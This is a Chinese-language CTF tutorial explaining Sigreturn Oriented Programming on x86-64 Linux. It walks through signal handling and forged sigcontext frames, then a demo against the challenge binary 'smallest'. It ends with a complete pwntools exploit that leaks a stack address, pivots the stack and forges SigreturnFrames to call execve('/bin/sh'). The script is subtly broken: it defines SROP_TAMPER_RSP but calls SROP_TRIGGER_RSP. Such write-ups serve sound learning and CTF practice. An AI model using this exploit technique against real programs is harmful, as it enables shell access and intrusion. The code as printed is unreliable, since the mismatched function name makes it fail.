SROP
全称为Sigreturn Oriented Programming
,表明利用sigreturn
这个函数实现ROP
的技术。(之前听说的时候一直以为是system rop
XD)
没有办法控制寄存器
参考链接:
http://4ngelboy.blogspot.tw/2015/07/srop.html
http://www.freebuf.com/articles/network/87447.html
http://bobao.360.cn/learning/detail/3675.html
http://www.cnblogs.com/chihie/p/7420016.html
其中syscall
调用号可以对照/usr/include/x86_64-linux-gnu/asm/unistd_64.h
。
0x01 Linux Signal机制
首先还是看一下这张图(小小的盗用一下XD)
这张图描绘了信号机制的四个步骤:
1) 当进程发出一个信号时,会由内核接收该信号并切换到内核模式并为进程保存上下文(将寄存器等中的数据存到栈上)
+==============+ stack
sigcontext (sigcontext就是保存的上下文,具体结构我们可以直接用pwntools的SigreturnFrame()来实现)
+==============+
2) 通过信号signal
的值,在用户层调用对应的signal handler
进行处理
+==============+ stack
sigcontext
+==============+
sigreturn_addr (当signal handler执行完后会执行sigreturn)
+==============+
3) 处理完信号后,回到内核层调用sigreturn
恢复进程的上下文
4) 返回用户层,进程回到之前保存的IP
继续运行
0x02 SROP
1. 利用步骤
通过上面对信号实现流程的分析,可以发现在第三步调用sigreturn
之后,可以实现寄存器值都从栈上取出,并且可以跳转到我们设置的地址中,所以直接伪造好一个sigcontext
就可以了,关键值如下:
rax: 59 (execve的syscall调用号)
rdi: /bin/sh的字符串地址
rip: syscall地址
最后将ret
的地址设置为sigreturn
的地址就可以了。
2. 利用条件
只要我们能得到上述步骤中的值就可以了,具体如下:
1. /bin/sh字符串地址
2. syscall地址
3. sigreturn地址
这里sigreturn
可以通过syscall
来调用它,它的系统调用号为15,所以我们可以通过设置rax=15
后再将ret
地址设置为syscall
就可以了。
0x03 demo
这里用360春秋杯的一道smallest
作为样例分析一下。
首先代码很短,就这么点儿:
0x4000b0 xor rax, rax
0x4000b3 mov edx, 0x400
0x4000b8 mov rsi, rsp
0x4000bb mov rdi, rax
0x4000be syscall
0x4000c0 ret
那么现在我们已经满足了两个条件:
存在syscall gadget
可以控制rax之后调用syscall
那么唯一的问题就是/bin/sh
的字符串地址了,所以首先得解决这个问题。
1. leak
由于程序很小,能写的地方只有栈了,所以只能泄露栈地址了。
思路为:
1. 写入3个0x4000b0,第一个用来从头开始,第二个用来leak
2. 写入\xb3,从而将我们写入的第二个0x4000b0篡改为了0x4000b3。同时由于我们只输入了一个字符,所以通过read返回的rax为1,而这正好是write的系统调用号
3. 调用write(1, rsp, 0x400),将栈中的数据打印出来
4. 第三个0x4000b0用来再次从头开始
通过调试可以发现,打印出来的数据从第二个开始就是栈上的地址了。
2. 栈转移
由于我们泄露的地址只是栈上的,却不是当前栈的地址,所以首先我们需要将栈转移到我们泄露出来的地址上面去。
思路为:
1. 构造一个用来read的sigcontext,并且设置rsp和写入的地址rsi都是我们泄露的地址(必须用read的原因是栈被转移了,所以我们需要输入一个地址用来返回)
2. 返回0x4000b0,构造rax=15调用syscall
3. 由于第一步的构造,再输入一个地址,就是即将返回的地址
3. execve
剩下的和上一步差不多,只是执行的是execve
1. 构造一个execve的sigcontext,设置rdi为binsh的地址,并将binsh紧跟在sigcontext最后
2. 通过上一步最后一步输入地址0x4000b0,构造rax=15调用syscall
4. EXP
from pwn import *
p = process('./smallest')
#gdb.attach(proc.pidof(p)[0],"b *0x4000c0")
main_addr = 0x4000b0
syscall_addr = 0x4000be
def SROP_TAMPER_RSP(aim_addr,length):
f = SigreturnFrame()
f.rax = 0
f.rdi = 0
f.rsi = aim_addr
f.rdx = length
f.rsp = aim_addr
f.rip = syscall_addr
return str(f)
def SROP_EXECVE(binsh_addr):
f = SigreturnFrame()
f.rax = 59
f.rdi = binsh_addr
f.rip = syscall_addr
return str(f)
binsh='/bin/sh\x00'
if __name__ == "__main__":
# leak
payload = p64(main_addr)*3
p.send(payload)
raw_input("main * 3")
payload = '\xb3'
p.send(payload)
p.recv(8)
stack_addr = u64(p.recv(8))
log.success("stack_addr: %s"%(hex(stack_addr)))
# tamper rsp
raw_input("trigger rsp")
payload = p64(main_addr) + p64(syscall_addr) + SROP_TRIGGER_RSP(stack_addr,0x400)
p.send(payload)
raw_input("go read")
payload = p64(syscall_addr) + 'a'*7
p.send(payload)
# execve
binsh_addr = stack_addr + 2*8 + len(str(SigreturnFrame()))
raw_input("start execve")
payload = p64(main_addr) + p64(syscall_addr) + SROP_EXECVE(binsh_addr) + binsh
p.send(payload)
raw_input("go execve")
payload = p64(syscall_addr) + 'a'*7
p.send(payload)
p.interactive()
No Leanote account ? Sign up now.